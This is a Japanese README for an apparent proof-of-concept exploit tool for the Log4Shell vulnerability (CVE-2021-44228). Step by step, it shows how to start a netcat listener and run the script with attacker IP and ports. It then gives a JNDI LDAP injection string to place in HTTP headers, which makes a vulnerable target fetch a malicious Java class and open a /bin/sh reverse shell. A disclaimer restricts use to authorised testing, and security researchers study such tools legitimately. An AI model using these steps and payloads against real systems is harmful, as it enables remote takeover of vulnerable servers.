
CVE-2021-44228 脆弱性の Proof-Of-Concept。
Log4jの脆弱性(CVE-2021-44228)、通称Log4Shellの概念実証(PoC)エクスプロイトです。このツールは悪意のあるJavaクラスを生成し、LDAPリファラルサーバーを起動して、HTTP経由でペイロードを配信します。これにより、リモートの攻撃者は脆弱なターゲット上で任意のコマンドを実行できます。
poc.pyと同じフォルダに存在する必要があります:
jdk1.8.0_20/ – Oracle JDK 1.8.0_20のコピー(bin/javacとbin/javaを含む)。存在しない場合、スクリプトはシステムのjavacおよびjavaコマンドを使用しようとします。target/marshalsec-0.0.3-SNAPSHOT-all.jar – LDAPサーバーの起動に使用するmarshalsec JARファイル。jdk1.8.0_20フォルダとmarshalsec JARを配置します。pip install -r requirements.txt
Pythonでスクリプトを実行します:
python3 poc.py [OPTIONS]
攻撃者マシンでnetcatリスナーを起動します(9001は選択したポートに置き換えてください):
nc -lvnp 9001
エクスプロイトを実行します:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
--useripを省略すると、スクリプトは自動的にマシンのプライマリIPv4アドレスを使用します。
スクリプトは、脆弱なターゲットに注入するペイロード文字列を表示します。例:
${jndi:ldap://192.168.1.10:1389/a}
この文字列を、脆弱なLog4jインスタンスによってログに記録される任意の入力フィールドまたはHTTPヘッダー(例: User-Agent、X-Forwarded-Forなど)に注入します。ターゲットはLDAPサーバーに接続し、HTTPサーバーから悪意のあるクラスを取得して、リバースシェルを実行します。
netcatリスナーにシェル接続が表示されるはずです。
userip:lportへのリバースシェルを開くコードを含むExploit.javaを生成します。javac)を使用してファイルをコンパイルします。webportでシンプルなHTTPサーバーを起動し、コンパイル済みのExploit.classをホストします。/bin/shを使用し、Unix系のターゲットシステムを対象としています。Windowsターゲットの場合は、Exploit.java内のコマンドを変更する必要があります。webportとlport)への着信接続を許可し、ターゲットがあなたのマシンに到達できることを確認してください。スクリプトは終了時(通常終了またはKeyboardInterrupt後)にExploit.javaとExploit.classを自動的に削除します。デバッグのためにファイルを保持する必要がある場合は、poc.py内のfinallyブロックをコメントアウトしてください。
このツールは、教育および許可されたセキュリティテストの目的のみを対象としています。所有していない、またはテストする明示的な許可を得ていないシステムに対するこのエクスプロイトの不正使用は違法です。著者は、このソフトウェアの誤用またはそれによって引き起こされた損害について一切の責任を負いません。
| 引数 | 型 | デフォルト | 説明 |
|---|
--userip | string | 自動検出されたIPv4 | LDAPサーバーとHTTPサーバーがバインドしてアドバタイズするIPアドレス。ターゲットマシンから到達可能である必要があります。 |
--webport | integer | 8000 | コンパイル済みのExploit.classを配信するHTTPサーバーのポート。 |
--lport | integer | 9001 | リバースシェルを待ち受けるnetcatリスナーのポート。ペイロードはuserip:lportに接続を返します。 |